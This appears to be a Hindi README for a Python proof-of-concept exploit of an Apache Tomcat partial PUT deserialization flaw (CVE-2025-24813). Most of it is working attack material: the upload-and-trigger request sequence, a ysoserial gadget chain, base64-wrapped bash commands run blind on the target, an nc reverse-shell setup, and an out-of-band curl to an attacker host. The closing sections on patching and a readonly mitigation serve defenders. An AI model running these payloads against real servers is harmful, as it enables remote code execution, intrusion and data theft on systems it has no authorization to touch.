
Python PoC जो CVE-2025-24813 का उपयोग करता है, जो एक Apache Tomcat partial PUT deserialization RCE है। कमजोर वेरिएंट्स का स्वतः पता लगाता है, blind command execution और reverse shells का समर्थन करता है।
गंभीरता: क्रिटिकल (CVSS 9.8) प्रमाणीकरण आवश्यक: नहीं प्रभावित: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 पैच किया गया: Tomcat 9.0.99 / 10.1.35 / 11.0.3
Apache Tomcat आंशिक PUT (chunked upload via Content-Range) का समर्थन करता है।
जब एक आंशिक PUT आता है, Tomcat बॉडी को एक अस्थायी फ़ाइल में स्टेज करता है:
$CATALINA_HOME/work/…/<url-path-filename>
यदि एप्लिकेशन को context.xml में PersistentManager + FileStore के साथ कॉन्फ़िगर किया गया है,
तो Tomcat स्वचालित रूप से उसी work डायरेक्टरी से *.session फ़ाइलें पढ़ता है और सत्रों को पुनर्स्थापित करने के लिए उन्हें करता है।
इन दो व्यवहारों को मिलाने पर:
PUT /<sid>.session → Java-serialized payload को work/<sid>.session में लिखता है
GET / Cookie: JSESSIONID=.<sid> → Tomcat फ़ाइल को लोड और डीसेरिएलाइज़ करता है → RCE
कुकी मान में अग्रणी बिंदु (.) निरपेक्ष-पथ सत्र लुकअप को ट्रिगर करता है
(वेरिएंट B), जो वह पथ है जो विश्वसनीय रूप से स्टेज की गई फ़ाइल तक पहुँचता है।
यह PoC ysoserial से CommonsCollections6 का उपयोग करता है,
जो Java 8–17 पर @jdk.internal फ़्लैग के बिना काम करता है और
sun.reflect.SerializationConstructorAccessorImpl पर निर्भर नहीं करता।
ObjectInputStream.readObject()
└─ HashSet.readObject()
└─ TiedMapEntry.hashCode()
└─ LazyMap.get()
└─ ChainedTransformer.transform()
└─ InvokerTransformer → Runtime.exec(command)
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1 or Apache Tomcat
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# 201 Created = partial PUT enabled (vulnerable prerequisite met)
# 403/405 = partial PUT disabled (not vulnerable via this path)
python3 autopwn.py http://target:9090 --command "id"
# Vulnerable → one line shows GET=500 + "<<<< 500 = FIRED!"
# Not vuln → all lines show GET=200, no 500
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=pwn1 [A(no-dot)] GET=200
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=.pwn2 [B(dot-prefix)] GET=500 <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session PUT=409 cookie=JSESSIONID=pwn3 [A(no-dot)] GET=200
...
[+] Target is VULNERABLE! Winning variant: B(dot-prefix)
upload path : /{sid}.session
trigger : Cookie: JSESSIONID=.pwn2
| स्थिति | अर्थ |
|---|---|
| PUT 201 | फ़ाइल Tomcat work डायरेक्टरी में स्टेज की गई |
| PUT 409 | पथ अवरुद्ध (traversal अस्वीकृत) |
| GET 200 | सत्र नहीं मिला / डीसेरिएलाइज़ नहीं हुआ |
| GET 500 | डीसेरिएलाइज़ेशन ट्रिगर हुआ → RCE |
अपलोड एक रॉ बाइनरी Java सीरिएलाइज़्ड स्ट्रीम है — कोई URL एन्कोडिंग नहीं। HTTP क्वेरी-पैरामीटर एक्सप्लॉइट के विपरीत, पेलोड PUT के माध्यम से रिक्वेस्ट बॉडी में जाता है, इसलिए लड़ने के लिए कोई URL-एन्कोडिंग परत नहीं है:
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375
\xac\xed\x00\x05\x73\x72... (raw serialized bytes — CommonsCollections6)
Content-Range हेडर एक आंशिक अपलोड का संकेत देता है; Tomcat बॉडी को डिस्क पर
जैसा है वैसा लिखता है, सीरिएलाइज़्ड पेलोड के प्रत्येक बाइट को संरक्षित करता है।
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)
python3 autopwn.py http://192.168.61.148:9090 --command "id"
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)
python3 autopwn.py http://192.168.61.148:9090 \
--command "bash -c {echo,$B64}|{base64,-d}|bash"
# Fetch the result
curl http://192.168.61.148:9090/idout.txt
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
--revshell --lhost 192.168.61.10 --lport 4444
स्क्रिप्ट स्वतः वेरिएंट A/B का पता लगाती है, पहले हिट के बाद रुक जाती है, और विजेता पथ प्रिंट करती है ताकि आपको पता चले कि वास्तव में क्या काम आया।
positional arguments:
target Target base URL (e.g. http://192.168.61.148:9090)
options:
--command CMD Command to execute (blind mode, default: id)
--revshell Send reverse shell instead of blind command
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
--gadget GADGET ysoserial gadget chain (default: CommonsCollections6)
--ysoserial PATH Path to ysoserial jar (default: ysoserial.jar)
--sid SID Session ID prefix for upload filenames (default: pwn)
--no-ssl-verify Disable SSL certificate verification
CVE-2025-24813 ब्लाइंड है — Runtime.exec() कमांड चलाता है, लेकिन इसका stdout/stderr
त्याग दिया जाता है; HTTP प्रतिक्रिया केवल यह दर्शाती है कि डीसेरिएलाइज़ेशन सफल हुआ (500)
या नहीं (200)।
आउटपुट प्राप्त करने के तीन तरीके:
| विधि | कैसे |
|---|---|
| Webroot फ़ाइल | आउटपुट को /…/webapps/ROOT/ में एक फ़ाइल पर रीडायरेक्ट करें, HTTP के माध्यम से प्राप्त करें |
| रिवर्स शेल | --revshell फ़्लैग — एक इंटरैक्टिव शेल प्राप्त करें, कोई भी कमांड लाइव चलाएँ |
| DNS/OOB | `curl http://attacker/$(id |
| शाखा | असुरक्षित | पैच किया गया |
|---|---|---|
| 9.x | 9.0.0.M1 – 9.0.98 | 9.0.99+ |
| 10.1.x | 10.1.0-M1 – 10.1.34 | 10.1.35+ |
| 11.x | 11.0.0-M1 – 11.0.2 | 11.0.3+ |
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"
$CATALINA_HOME/conf/web.xml में, DefaultServlet init-param खोजें और सेट करें:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
या यदि आवश्यक न हो तो context.xml में PersistentManager अक्षम करें:
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!-- <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# Patched → 403 / 405
# Vulnerable → 201
# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched → all GET=200, no 500
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए।